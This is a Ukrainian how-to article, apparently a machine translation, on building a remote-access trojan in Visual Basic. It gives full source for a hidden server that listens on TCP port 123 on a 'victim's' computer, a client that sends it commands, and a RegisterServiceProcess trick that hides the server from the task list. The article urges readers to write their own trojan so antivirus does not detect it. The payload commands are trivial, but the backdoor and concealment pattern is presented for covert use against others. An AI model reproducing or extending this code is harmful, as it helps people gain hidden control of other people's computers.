Як зробити троян на VB, Різне, Security & Hack, статті

Павло Миколайович

В інтернеті повним повно всяких сайтів, на яких
Ви можете завантажити собі найрізноманітніші трояни і віруси. Але про більшість
з них (швидше за все) вже знають антивірусні програми. До того ж треба з побоюванням
ставитися до таких троянам, які відсилають паролі на e-mail, тому їх більшість
дублює лист на e-mail автора: о) Тому краще всього зробити троян самому.

Для початку розберемося з класифікацією троянів. Трояни діляться
на кілька категорій: BackDoors, Nukers і т.д. У цій статті ми будимо говорити
про створення власного BackDoor’а, а точніше програми прихованого віддаленого
адміністрування
. Такі програми складаються з 2-х частин: одна – сервер,
а інша – клієнт. На комп’ютер жертви засилається сервер. Саме він ховається
від користувача. Файл сервера при запуску автоматично копіюється
в каталог Windows або системний каталог, а також ховається з діалогу
“Завершення роботи програми”, який викликається натисненням Ctrl + Alt + Delete.
Під час роботи, сервер відкриває який-небудь порт від 1-ого до 65535-ого,
і чекає там клієнта. Оибчно сервер відкриває порт на TCP протоколі. Після того,
як клієнт підключитися до серверної частини, він починає посилати їй команди.
Командами є просто поєднання символів, зазвичай у вигляді слів, щоб автору
трояна не мучитися: о) Які саме він придумає команди – потрібно тільки
догадоваться.

Отже. Як ми і обіцяли, приступаємо до створення програми. Спочатку
напишемо сервер. Для цього створюємо новий проект на Visual Basic
у вигляді стандартного EXE. Далі підключаємо до нього Microsoft Winsock Control:
в меню “Project” -> “Components …”

Якщо в списку його немає, то натисніть “Browse” і виберете файл
“Mswinsck.ocx”. Тепрь ставимо на форму цей компонент. Він нам потрібний для свазі
клієнтської і серверної частини за TCP протоколу. Далі змінюємо форму:
прибираємо заголовок, робимо малі розміри і visible форми ставимо на False. У
компонента міняємо ім’я на “ws” і властивості LocalPort присвоюємо число, яке і
буде номером порту, наприклад 123.

Тепер спробуємо запустити програму. У вас нічого не повинно з’явитися.
Завершуємо роботу програми натисканням кнопки “стоп”.

Починаємо писати код програми. У Form_Load пишемо:

Private Sub Form_Load()
Do
    If ws.State <> sckConnected And ws.State <> sckListening Then
        ws.Close
        ws.Listen
    End If
    DoEvents
Loop
End Sub

Тут, якщо ми ні з ким не соеденіни і не прослуховуємо порт, закриваємо
зв’язок у ws і відкриваємо 123 порт в очікуванні клієнта. Умова на стан зв’язку в ws потрібно
повторювати під час роботи програми для того, щоб уникнути випадку, який виникає
при розриві зв’язку. Тобто ви починаєте злучати порт, потім підключається віддалений комп’ютер,
а після його відключення порт слухатися вже не буде. Ось значення, які може приймати
властивість State:

Константа

Значення

Опис

sckClosed

0

Таке значення варто при запуску програми або коли порт закритий

sckOpen

1

Порт відкритий

sckListening

2

Порт прослуховується

sckConnectionPending

3

Connection pending

sckResolvingHost

4

Resolving host

sckHostResolved

5

Host resolved

sckConnecting

6

Підключення до хосту

sckConnected

7

Зв’язок встановлена

sckClosing

8

Зв’язок закривається …

sckError

9

Помилка

Тепер потрібно підключити клієнта. Для цього в
ws_ConnectionRequest, тобто в запиті на з’єднання пишемо:

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub

Тут ми спочатку прекрашается слухати, а потім приєднуємо
клієнта за номером його запиту. На цьому код по з’єднанню двох програм
закінчений. Далі розбираємо код для ws_DataArrival. Він буде викликатися,
коли будуть приходити якісь дані від сервера.

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
ws.GetData Data

Select Case Data
    Case “BEEP”
        Beep
    Case “MSG”
MsgBox “Привіт!”, VbInformation, “: o)”
    Case “END”
        End
End Select
End Sub

У цьому коді теж все просто. Спочатку оголошуємо змінну
Data, яка буде містити прийшли дані, а потім записуємо їх.
Після цього переглядаємо всі можливі варіанти, тобто команди, які могли
прийти від сервера. Тут їх три: BEEP, MSG, END. Те, що вони роблять, думаю,
об’еснять не треба. Тепер залишається скомпілювати програму. Назвемо її “server.exe”.

Приступимо до написання клієнтської частини. Створимо новий проект і форму,
як на малюнку:

Поставте на форму 2 текстових поля і назвіть їх “IP” і “Port”, потім
дві кнопки з написами “Підключитися” і “Відключитися”, і 3 кнопки з написами
“Бип!”, “Повідомлення” та “Закрити сервер”. Імена кнопок залиште стандартними. Тепер
додайте Winsock Control і назвіть його “ws”. Оскільки наш сервер працює на 123 порту,
то властивості Text другий текстового поля можна відразу присвоїти значення “123”. Текст
першого поля буде значення IP адреси даного комп’ютера. Для цього пишемо:

Private Sub Form_Load()
IP.Text = ws.LocalIP
End Sub

Тепер запущена програма може виглядати приблизно так:

Продовжуємо писати код.

Private Sub Command1_Click()
ws.Close
ws.RemoteHost = IP
ws.RemotePort = Port
ws.Connect
End Sub

Private Sub Command2_Click()
ws.Close
End Sub

При натисканні на кнопку “Кінцевий”, ми закриваємо зв’язок,
вказуємо віддалений IP і порт і підключаємося. Кнопка “Відключитися” просто закриває
зв’язок.

Private Sub Command3_Click()
If ws.State <> sckConnected Then Exit Sub
ws.SendData “BEEP”
End Sub

Private Sub Command4_Click()
If ws.State <> sckConnected Then Exit Sub
ws.SendData “MSG”
End Sub

Private Sub Command5_Click()
If ws.State <> sckConnected Then Exit Sub
ws.SendData “END”
End Sub

В останніх трьох кнопках програма спочатку перевіряє зв’язок, і,
якщо поєднано, то посилає команду.

Тепер компілюємо програму в “client.exe”. Можна протестувати
троян. Для цього запустіть “server.exe”, а потім “client.exe” і спробуйте підключитися.
Якщо не було помилок, то понажимайте на кнопки команд. Тепер сервер можна закрити
зі списку завдань (Ctrl + Alt + Delete).

Ось в принципі і все. Якщо ви хочете приховати свого трояна зі списку
завдань, то в оголошеннях форми сервера підключіть функцію RegisterServiceProcess, а
також змініть Form_Load:

Private Declare Function RegisterServiceProcess Lib _
“kernel32.dll” (ByVal dwProcessId As Long, ByVal _
dwType As Long) As Long

Private Sub Form_Load()
RegisterServiceProcess 0, 1
Do
    If ws.State <> sckConnected And ws.State <> sckListening Then
        ws.Close
        ws.Listen
    End If
    DoEvents
Loop
End Sub

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*